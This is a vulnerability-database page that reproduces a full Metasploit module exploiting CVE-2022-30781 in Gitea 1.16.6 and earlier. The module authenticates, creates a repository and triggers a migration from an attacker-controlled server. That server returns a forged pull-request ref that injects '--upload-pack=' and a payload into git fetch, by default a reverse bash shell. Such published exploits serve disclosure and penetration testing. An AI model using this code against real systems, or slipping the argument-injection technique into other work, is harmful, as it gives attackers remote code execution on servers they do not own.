Lucene search
K

Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)

🗓️ 15 Sep 2022 00:00:00Reported by samguyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 340 Views

Gitea Git Fetch Remote Code Execution. Exploits Git fetch command in Gitea repository migration process for remote code execution. Affects Gitea before version 1.16.7

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Gitea 1.16.6 - Remote Code Execution Exploit
15 Sep 202200:00
zdt
0day.today
Gitea Git Fetch Remote Code Execution Exploit
17 Nov 202200:00
zdt
GithubExploit
Exploit for Improper Encoding or Escaping of Output in Gitea
22 May 202205:15
githubexploit
ATTACKERKB
CVE-2022-30781
16 May 202204:15
attackerkb
AlpineLinux
CVE-2022-30781
16 May 202200:00
alpinelinux
Circl
CVE-2022-30781
15 Sep 202200:00
circl
CNNVD
Gitea 安全漏洞
16 May 202200:00
cnnvd
CVE
CVE-2022-30781
16 May 202200:00
cve
Cvelist
CVE-2022-30781
16 May 202200:00
cvelist
Github Security Blog
Shell command injection in gitea
17 May 202200:01
github
Rows per page
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2022 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 3.17.5
EPSS0.87678
340